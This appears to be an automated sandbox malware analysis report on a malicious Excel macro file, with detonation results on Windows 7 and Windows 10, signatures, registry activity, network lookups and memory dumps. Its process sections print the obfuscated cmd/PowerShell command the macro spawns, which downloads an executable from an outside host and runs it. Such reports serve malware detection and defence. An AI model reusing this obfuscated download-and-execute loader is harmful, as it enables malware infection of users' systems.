Malware Analysis Report

2025-01-22 19:10

Sample ID 240722-182qassbmm
Target 3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3
SHA256 3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3
Tags
macro macro_on_action execution
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3

Threat Level: Known bad

The file 3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action execution

Process spawned unexpected child process

Suspicious Office macro

Office macro that triggers on suspicious action

Command and Scripting Interpreter: PowerShell

Office loads VBA resources, possible macro or embedded object present

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-22 22:20

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-22 22:20

Reported

2024-07-22 22:21

Platform

win7-20240708-en

Max time kernel

19s

Max time network

18s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\CMd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls

C:\Windows\SysWOW64\CMd.exe

CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)

Network

Country Destination Domain Proto
US 8.8.8.8:53 romful.com udp

Files

memory/2484-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2484-1-0x000000007282D000-0x0000000072838000-memory.dmp

memory/2484-2-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-3-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-9-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-7-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-5-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-4-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-10-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-8-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-6-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-15-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-11-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-85-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-86-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-32-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-37-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-12-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-13-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-14-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-51-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-55-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-62-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-64-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-66-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-88-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-87-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-65-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-63-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-61-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-60-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-59-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-58-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-57-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-56-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-54-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-53-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-52-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-50-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-49-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-48-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-47-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-46-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-45-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-44-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-43-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-42-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-41-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-40-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-39-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-38-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-36-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-35-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-34-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-33-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-31-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-30-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-29-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-28-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-27-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-25-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-26-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-24-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-23-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-20-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-21-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-19-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-18-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-16-0x0000000000630000-0x0000000000730000-memory.dmp

memory/2484-91-0x000000007282D000-0x0000000072838000-memory.dmp

memory/2484-92-0x0000000000630000-0x0000000000730000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-22 22:20

Reported

2024-07-22 22:21

Platform

win10v2004-20240709-en

Max time kernel

47s

Max time network

37s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\CMd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls"

C:\Windows\SYSTEM32\CMd.exe

CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 romful.com udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 5.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp

Files

memory/1420-0-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

memory/1420-1-0x00007FFE7C18D000-0x00007FFE7C18E000-memory.dmp

memory/1420-2-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

memory/1420-3-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

memory/1420-6-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-5-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

memory/1420-8-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-7-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-9-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-12-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-11-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-14-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-16-0x00007FFE39870000-0x00007FFE39880000-memory.dmp

memory/1420-18-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-19-0x00007FFE39870000-0x00007FFE39880000-memory.dmp

memory/1420-17-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-15-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-13-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-10-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-4-0x00007FFE3C170000-0x00007FFE3C180000-memory.dmp

memory/1420-84-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-127-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/4820-131-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/4820-133-0x0000015F4D150000-0x0000015F4D172000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hxbnprjj.kh0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4820-144-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 a1cc47577ae96474a22fca1b2662dc42
SHA1 28e2e862446d71ffed9f6413413239f36e9a3486
SHA256 1ca37f1dd9e7c9846d64db9800a60325bc374969a3f4b87d2f1e702ee9d1bd4c
SHA512 6981579ad9255c5cb9fd1dc1c0194e6bc0429257a9bb4a4111b41a17cf4ddae1206814195453168353e8b91a8ba0547df83de0e60f9943406756b55d5d41a7ea

memory/1420-153-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-154-0x00007FFE7C18D000-0x00007FFE7C18E000-memory.dmp

memory/1420-155-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-156-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-157-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp

memory/1420-158-0x00007FFE7C0F0000-0x00007FFE7C2E5000-memory.dmp